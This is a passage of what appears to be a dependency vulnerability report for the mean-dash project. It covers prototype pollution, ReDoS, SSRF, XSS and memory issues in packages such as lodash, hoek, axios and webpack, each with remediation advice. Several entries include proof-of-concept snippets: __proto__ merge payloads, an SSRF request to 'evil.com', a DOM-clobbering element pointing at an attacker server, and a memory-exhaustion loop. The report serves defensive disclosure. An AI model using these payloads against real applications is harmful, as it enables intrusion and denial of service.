| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade tough-cookie to version 4.1.3 or higher.
References
medium severity
- Vulnerable module: ws
- Introduced through: karma@0.13.5
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7 › engine.io@1.5.4 › ws@0.8.0Remediation: Upgrade to karma@0.13.10.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7 › socket.io-client@1.3.7 › engine.io-client@1.5.4 › ws@0.8.0Remediation: Upgrade to karma@0.13.10.
Overview
ws is a simple to use websocket client, server and console for node.js.
Affected versions of the package are vulnerable to Uninitialized Memory Exposure.
A client side memory disclosure vulnerability exists in ping functionality of the ws service. When a client sends a ping request and provides an integer value as ping data, it will result in leaking an uninitialized memory buffer.
This is a result of unobstructed use of the Buffer constructor, whose insecure default constructor increases the odds of memory leakage.
ws's ping function uses the default Buffer constructor as-is, making it easy to append uninitialized memory to an existing list. If the value of the buffer list is exposed to users, it may expose raw memory, potentially holding secrets, private data and code.
Proof of Concept:
var ws = require('ws')
var server = new ws.Server({ port: 9000 })
var client = new ws('ws://localhost:9000')
client.on('open', function () {
console.log('open')
client.ping(50) // this makes the client allocate an uninitialized buffer of 50 bytes and send it to the server
client.on('pong', function (data) {
console.log('got pong')
console.log(data)
})
})
Details
The Buffer class on Node.js is a mutable array of binary data, and can be initialized with a string, array or number.
const buf1 = new Buffer([1,2,3]);
// creates a buffer containing [01, 02, 03]
const buf2 = new Buffer('test');
// creates a buffer containing ASCII bytes [74, 65, 73, 74]
const buf3 = new Buffer(10);
// creates a buffer of length 10
The first two variants simply create a binary representation of the value it received. The last one, however, pre-allocates a buffer of the specified size, making it a useful buffer, especially when reading data from a stream.
When using the number constructor of Buffer, it will allocate the memory, but will not fill it with zeros. Instead, the allocated buffer will hold whatever was in memory at the time. If the buffer is not zeroed by using buf.fill(0), it may leak sensitive information like keys, source code, and system info.
Similar vulnerabilities were discovered in request, mongoose, ws and sequelize.
References
medium severity
- Vulnerable module: json5
- Introduced through: babel-core@6.26.3, webpack@2.7.0 and others
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-core@6.26.3 › json5@0.5.1
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack@2.7.0 › json5@0.5.1Remediation: Upgrade to webpack@4.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-loader@6.4.1 › loader-utils@0.2.17 › json5@0.5.1Remediation: Upgrade to babel-loader@7.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › css-loader@0.9.1 › loader-utils@0.2.17 › json5@0.5.1Remediation: Upgrade to css-loader@0.26.2.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › file-loader@0.8.5 › loader-utils@0.2.17 › json5@0.5.1Remediation: Upgrade to file-loader@0.10.1.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma-webpack@1.8.1 › loader-utils@0.2.17 › json5@0.5.1Remediation: Upgrade to karma-webpack@2.0.10.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › ng-annotate-loader@0.1.1 › loader-utils@0.2.17 › json5@0.5.1
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › style-loader@0.8.3 › loader-utils@0.2.17 › json5@0.5.1Remediation: Upgrade to style-loader@0.13.2.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack@2.7.0 › loader-utils@0.2.17 › json5@0.5.1Remediation: Upgrade to webpack@3.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › json5@0.5.1
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack-stream@3.2.0 › webpack@1.15.0 › loader-utils@0.2.17 › json5@0.5.1Remediation: Upgrade to webpack-stream@4.0.0.
Overview
Affected versions of this package are vulnerable to Prototype Pollution via the parse method , which does not restrict parsing of keys named __proto__, allowing specially crafted strings to pollute the prototype of the resulting object. This pollutes the prototype of the object returned by JSON5.parse and not the global Object prototype (which is the commonly understood definition of Prototype Pollution). Therefore, the actual impact will depend on how applications utilize the returned object and how they filter unwanted keys.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade json5 to version 1.0.2, 2.2.2 or higher.
References
medium severity
- Vulnerable module: angular
- Introduced through: angular@1.5.0
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › angular@1.5.0
Overview
angular is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.
Affected versions of this package are vulnerable to Improper Validation of Unsafe Equivalence in Input in the srcset attribute, which allows bypassing the imgSrcSanitizationTrustedUrlList allowlist. An attacker can manipulate the content presented to other users by setting a srcset value to retrieve data from an unintended domain.
Remediation
There is no fixed version for angular.
References
medium severity
- Vulnerable module: angular
- Introduced through: angular@1.5.0
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › angular@1.5.0
Overview
angular is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.
Affected versions of this package are vulnerable to Incomplete Filtering of Special Elements. The srcset attribute in an HTML <source> element can be a vector for content spoofing. An attacker can manipulate the content presented to other users by interpolating a srcset value directly that doesn't comply with image source restrictions, or by using the ngAttrSrcset directive.
Note: The ngSrcset and ngPropSrcset directives are not attack vectors for this vulnerability.
Remediation
There is no fixed version for angular.
References
medium severity
- Vulnerable module: angular
- Introduced through: angular@1.5.0
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › angular@1.5.0
Overview
angular is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.
Affected versions of this package are vulnerable to Incomplete Filtering of Special Elements due to improper sanitization of the href and xlink:href attributes in <image> SVG elements. An attacker can bypass image source restrictions and negatively affect the application's performance and behavior by using too large or slow-to-load images.
Note:
The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see here https://docs.angularjs.org/misc/version-support-status .
Remediation
There is no fixed version for angular.
References
medium severity
- Vulnerable module: hoek
- Introduced through: coveralls@2.13.3
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › coveralls@2.13.3 › request@2.79.0 › hawk@3.1.3 › hoek@2.16.3Remediation: Upgrade to coveralls@3.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › coveralls@2.13.3 › request@2.79.0 › hawk@3.1.3 › boom@2.10.1 › hoek@2.16.3Remediation: Upgrade to coveralls@3.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › coveralls@2.13.3 › request@2.79.0 › hawk@3.1.3 › sntp@1.0.9 › hoek@2.16.3Remediation: Upgrade to coveralls@3.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › coveralls@2.13.3 › request@2.79.0 › hawk@3.1.3 › cryptiles@2.0.5 › boom@2.10.1 › hoek@2.16.3Remediation: Upgrade to coveralls@3.0.0.
Overview
hoek is an Utility methods for the hapi ecosystem.
Affected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the Object prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property.
PoC by Olivier Arteau (HoLyVieR)
var Hoek = require('hoek');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
Hoek.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade hoek to version 4.2.1, 5.0.3 or higher.
References
medium severity
- Vulnerable module: lodash
- Introduced through: gulp@3.9.1, jshint@2.9.3 and others
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › gulp@3.9.1 › vinyl-fs@0.3.14 › glob-watcher@0.0.6 › gaze@0.5.2 › globule@0.1.0 › lodash@1.0.2
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › jshint@2.9.3 › lodash@3.7.0Remediation: Upgrade to jshint@2.9.6.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › jshint-loader@0.8.4 › rcloader@0.1.2 › lodash@2.4.2
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › lodash@3.10.1Remediation: Upgrade to karma@2.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma-webpack@1.8.1 › lodash@3.10.1Remediation: Upgrade to karma-webpack@2.0.10.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the Object prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property.
PoC by Olivier Arteau (HoLyVieR)
var _= require('lodash');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
_.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash to version 4.17.5 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: browser-sync@2.29.3
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › browser-sync@2.29.3 › localtunnel@2.0.2 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to the allowAbsoluteUrls attribute being ignored in the call to the buildFullPath function from the HTTP adapter. An attacker could launch SSRF attacks or exfiltrate sensitive data by tricking applications into sending requests to malicious endpoints.
PoC
const axios = require('axios');
const client = axios.create({baseURL: 'http://example.com/', allowAbsoluteUrls: false});
client.get('http://evil.com');
Remediation
Upgrade axios to version 0.30.0, 1.8.2 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: browser-sync@2.29.3
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › browser-sync@2.29.3 › localtunnel@2.0.2 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to not setting allowAbsoluteUrls to false by default when processing a requested URL in buildFullPath(). It may not be obvious that this value is being used with the less safe default, and URLs that are expected to be blocked may be accepted. This is a bypass of the fix for the vulnerability described in CVE-2025-27152.
Remediation
Upgrade axios to version 0.30.0, 1.8.3 or higher.
References
medium severity
- Vulnerable module: inflight
- Introduced through: istanbul@0.4.5, karma@0.13.5 and others
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › istanbul@0.4.5 › glob@5.0.15 › inflight@1.0.6
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › glob@5.0.15 › inflight@1.0.6
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › mocha@3.5.3 › glob@7.1.1 › inflight@1.0.6
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › jshint@2.9.3 › cli@1.0.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1 › node-gyp@3.8.0 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1 › sass-graph@2.2.5 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1 › true-case-path@1.0.3 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › gulp@3.9.1 › vinyl-fs@0.3.14 › glob-stream@3.1.18 › glob@4.5.3 › inflight@1.0.6
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1 › node-gyp@3.8.0 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1 › gaze@1.1.3 › globule@1.3.4 › glob@7.1.7 › inflight@1.0.6
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1 › node-gyp@3.8.0 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
Overview
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.
Exploiting this vulnerability results in crashing the node process or in the application crash.
Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.
To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.
PoC
const inflight = require('inflight');
function testInflight() {
let i = 0;
function scheduleNext() {
let key = `key-${i++}`;
const callback = () => {
};
for (let j = 0; j < 1000000; j++) {
inflight(key, callback);
}
setImmediate(scheduleNext);
}
if (i % 100 === 0) {
console.log(process.memoryUsage());
}
scheduleNext();
}
testInflight();
Remediation
There is no fixed version for inflight.
References
medium severity
- Vulnerable module: webpack-dev-server
- Introduced through: webpack-dev-server@1.16.5
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack-dev-server@1.16.5Remediation: Upgrade to webpack-dev-server@5.2.1.
Overview
webpack-dev-server is an Uses webpack with a development server that provides live reloading. It should be used for development only.
Affected versions of this package are vulnerable to Exposed Dangerous Method or Function via the __webpack_modules__ object. An attacker can extract sensitive source code by injecting a malicious script into their site that utilizes Function::toString to access and serialize the functions stored within __webpack_modules__.
Note: This is only exploitable if the attacker knows both the specific port and the output entrypoint script path.
Remediation
Upgrade webpack-dev-server to version 5.2.1 or higher.
References
medium severity
- Vulnerable module: js-yaml
- Introduced through: coveralls@2.13.3
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › coveralls@2.13.3 › js-yaml@3.6.1Remediation: Upgrade to coveralls@3.0.0.
Overview
js-yaml is a human-friendly data serialization language.
Affected versions of this package are vulnerable to Denial of Service (DoS). The parsing of a specially crafted YAML file may exhaust the system resources.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade js-yaml to version 3.13.0 or higher.
References
medium severity
- Vulnerable module: webpack
- Introduced through: webpack@2.7.0 and webpack-stream@3.2.0
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack@2.7.0Remediation: Upgrade to webpack@5.94.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack-stream@3.2.0 › webpack@1.15.0Remediation: Upgrade to webpack-stream@7.0.0.
Overview
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via DOM clobbering in the AutoPublicPathRuntimeModule class. Non-script HTML elements with unsanitized attributes such as name and id can be leveraged to execute code in the victim's browser. An attacker who can control such elements on a page that includes Webpack-generated files, can cause subsequent scripts to be loaded from a malicious domain.
PoC
<!DOCTYPE html>
<html>
<head>
<title>Webpack Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script src="./dist/webpack-gadgets.bundle.js"></script>
<body>
</body>
</html>
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
